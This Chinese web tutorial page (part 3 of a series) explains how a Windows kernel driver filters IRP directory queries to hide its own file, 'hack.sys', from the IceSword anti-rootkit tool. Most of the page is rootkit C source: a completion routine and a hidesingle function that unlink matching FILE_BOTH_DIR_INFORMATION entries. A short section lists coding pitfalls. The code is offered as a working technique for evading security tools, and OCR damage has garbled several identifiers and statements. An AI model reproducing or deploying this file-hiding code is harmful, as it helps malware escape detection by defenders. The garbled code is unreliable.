免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 过滤IRP突破冰刃文件检测(3)

过滤IRP突破冰刃文件检测(3)

时间:2012-02-27 14:04来源:未知 整理:寂涯网络 点击:


[code]
NTSTATUS MyCompletionRoutine(PDEVICE_OBJECT devobj, PIRP irp, PVOID context)
{
PVOID buffer, prebuffer;
NTSTATUS status=irp->IoStatus. Status;
//11^成功完成,继续执行
if(NT_SUCCESS(irp->IoStatus. Status) && (irp->IoStatus. Information))
{
/*系统返回的数据irp->UserBuffer指向的内存中,
或者irp->mdladdress描述的内存中,getbuffer可以动态获取数据的地址*/ prebuffer=buffer=GetBuffer(irp); /*如果调用者位Flags设置了SL_RETURN_SINGLE_ENTRY标志,
那么系统每次只会返回一个?几£_80:1}1_0111陬0墜:110?1结构记录, 此时要特别处理返回的数据*/ if((((PIO_STACK_LOCATION)context)->Flags &SL_RETURN_SINGLE_ENTRY)==SL_RETURN_SINGLE_ENTRY)
{
if(-l==hidesingle(irp, buffer, 0, TRUE, context)) goto _exit;
}
else
{
/*否则返回当前目录的全部数据,是多个?几£_80111_0111即0_:110?1结构 if(!hidesingle(irp, buffer, prebuffer, FALSE, context))
{
while(*(PULONG)buffer)
{
prebuffer=buffer;
buffer=(PCHAR)buffer+*(PULONG)buffer; if(hidesingle(irp, buffer, prebuffer, FALSE, context)) //如果检测到隐藏文件(同一目录不会有2个同名文件),或者缓冲区越界,则跳 出循环。
break;
.exit:
//如果老的^?栈单元已经设置完成例程,则调用
if(((P10_STACK_L0CATION)context)->Complet i onRout i ne)
status=((P10_STACK_LOCATION)context)->Completi onRout i ne(((PIO_STACK_LOC ATION)context)->DeviceObject, irp, ((PIO_STACK_LOCATION)context)->Context);
}
ExFreePoolWithTag (context, ’ hack’); //释放内存
if(irp->PendingReturned)
{
IoMarkIrpPending(irp);
}
return status;

可以看到多次调用1^3681叩16这个函数,hidesingle函数的主要功能是过滤数据,发现目标文件,则处理数据实现隐藏。由于是在内核中操作内存,所以这个函数中,要检测buffer是否越界,否则可能会蓝屏:
[code]
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[l];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
#define HIDEFILE L"hack. sys"
int hidesingle(PIRP irp, PVOID buffer, PVOID prebuffer, B00LEAN bretsingl, PIO_STACK_LOCATION oldirpsp)
{
/*本函数首先检测缓冲区,若越界则直接返回1即已
接着如果检测到隐藏文件,gbretsingle*TRUE (即1叩栈单元的?1&88为 SL_RETUR_SINGLE_ENTRY) ’则清零缓冲区.返回_1
若bretsingle为FALSE,则将隐藏文件对应的 FILE_BOTH_DIR_INFORMATION断链,返回丁尺顶 如果没有检测到隐藏文件,则返回?八13已*/
PWCHAR p;
PULONG len; if
(((ULONG)buffer+sizeof(FILE_BOTH_DIR_INFORMATION)-(ULONG)irp->UserBuffer) > =irp->IoStatus. Information) return TRUE;
p=((PFILE_BOTH_DIR_INFORMATION)buffer)->FileName;
len=&((PFILE_BOTH_DIR_INFORMATION)buffer)->FileNameLength;
if(p)
{

if(*len==wcslen(HIDEFILE)*2)
{
if(!_wcsnicmp(p, HIDEFILE, wcslen(HIDEFILE)))
{
if(!bretsingl)
{
if(*(PULONG)buffer)
{
if (prebuffer)
{
if(buffer!=prebuffer)
{
*(PULONG)prebuffer+=*(PULONG)buffer;
}
else
{

 
RtlCopyMemory(buffer, ation-*(PULONG)buffer);
(PCHAR)buffer+*(PULONG)buffer, irp->IoStatus. Inform
}

 
}
}
else
{
if(buffer==prebuffer)
{
RtlZeroMemory(buffer, irp->IoStatus. Information);
irp->IoStatus. Information=0; irp->IoStatus. Status=STATUS_NO_MORE_FILES;
}
*(PULONG)prebuffer=0;
}
}
else
{
RtlZeroMemory(buffer, irp->IoStatus. Information); irp->IoStatus. Information=0; return _1;
return TRUE;
}
}
}
return FALSE;
}
[/code]
总结
在知道原理后,编码的时候还是发现了不少问题,提出来让大家注意:
1. 在irp请求完成例程中,检测flags是否为SL_RETURN_SINGLE_ENTRY的时候,必然要通过栈单元来访问flags,但是当时不知道,所以直接使用当前栈单元,结果出错。因为执行iofcompleterequest时,该函数会将当前栈单元设置为上层的栈单元。在 MyCompletionRoutine的完成例程中,当前的栈单元其实是文件系统设备的栈单元的上一个栈单元,而我以为这2个栈单元的数据是一样的,结果错误。后来,我在MyCompletionRoutine 中调用IogetNextIrpStackLocation来获取下个栈单元,结果还是错误。原来文件系统设备 的栈单元已经在irp完成后更改了,所以最后想到在设置完成例程的时候将当前栈单元保存, 并将地址赋予00的context域。

本页地址 http://www.jybase.net/biancheng/20120227783.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com